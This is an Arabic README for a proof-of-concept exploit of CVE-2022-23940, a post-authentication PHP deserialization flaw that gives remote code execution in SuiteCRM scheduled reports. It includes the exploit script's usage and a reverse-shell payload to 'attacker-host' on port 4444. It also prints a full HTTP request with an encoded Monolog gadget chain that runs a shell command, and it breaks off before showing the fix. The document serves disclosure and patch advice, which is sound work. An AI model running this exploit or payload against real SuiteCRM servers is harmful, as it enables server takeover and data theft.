
PoC لـ CVE-2022-23940
PoC لـ CVE-2022-23940 والمعروف أيضًا باسم SCRMBT-#187 - تنفيذ برمجي عن بُعد بعد المصادقة عبر التقارير المجدولة في SuiteCRM (<= 7.12.4) وSuiteCRM-Core (<= 8.0.3).
تم الإبلاغ عن هذه الثغرة إلى SalesAgility وتم إصلاحها في SuiteCRM 7.12.5 و_SuiteCRM Core 8.0.4_. في الإصدارات المتأثرة، يمكن لأي مستخدم لديه صلاحية إنشاء تقارير مجدولة (Scheduled Reports) الحصول على تنفيذ برمجي عن بُعد واختراق الخادم. إذا كنت تستخدم إصدارات أقدم من SuiteCRM، أنصحك بشدة بالتحديث.
التثبيت
python3 وpip.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"الخيارات المتاحة:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
مثال على الاستخدام:
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
يمكن للمستخدمين القادرين على إنشاء تقارير مجدولة (أي إنشاء سجلات في وحدة AOR_Scheduled_Reports) تنفيذ أكواد عشوائية على الخادم من خلال استغلال ثغرة في إلغاء تسلسل PHP (PHP deserialization).
تقوم وحدة AOR_Scheduled_Reports بتخزين مستلمي البريد الإلكتروني للتقرير كنصوص مُسلسلة (serialized) ومشفرة بـ base64 في قاعدة البيانات. عند استلام بيانات تقرير مجدول، يتم إلغاء تسلسل العمود المذكور. إذا تمكن المهاجمون من إدراج محتوى عشوائي في هذا العمود، يمكنهم تحقيق RCE عبر العديد من أدوات إلغاء التسلسل في PHP (في اختباراتي استخدمت Monolog/RCE2 من أداة phpggc).
يمكن تخزين الحمولة (payload) في قاعدة البيانات باستخدام استدعاء الحفظ القديم لوحدة AOR_Scheduled_Reports. يفترض الخادم بشكل خاطئ أن معامل email_recipients هو دائمًا مصفوفة (array). ومع ذلك، إذا مرر عميل خبيث email_recipients كسلسلة نصية فقط، فسيتم تخزين البيانات في قاعدة البيانات كما هي. بمجرد إلغاء تسلسلها، يتم تنفيذ الـ gadgets على الخادم ونحصل على تنفيذ برمجي عن بُعد.
فيما يلي التنفيذ الهش لدالة save في الفئة AOR_Scheduled_Reports. وبالتحديد في الأسفل، نرى أن get_email_recipients تستدعي unserialize على المحتوى المخزن في قاعدة البيانات:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
مثال على طلب لإنشاء مثل هذا التقرير المجدول الخبيث يبدو كالتالي (إذا قمت بفك ترميز قيمة email_recipients، سترى أنها تنفذ ببساطة touch /tmp/hacked):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
إذا نظرنا إلى الكود المُصلَح، نرى أن المطورين أضافوا دالة جديدة parseRecipients تقوم بتحليل والتحقق من البيانات المخزنة في معامل email_recipients قبل حفظها في قاعدة البيانات. يتم تخزين البيانات فقط إذا كانت القيمة تطابق التنسيق المتوقع. لذلك، لم يعد إلغاء التسلسل لتنفيذ RCE يعمل بعد الآن:
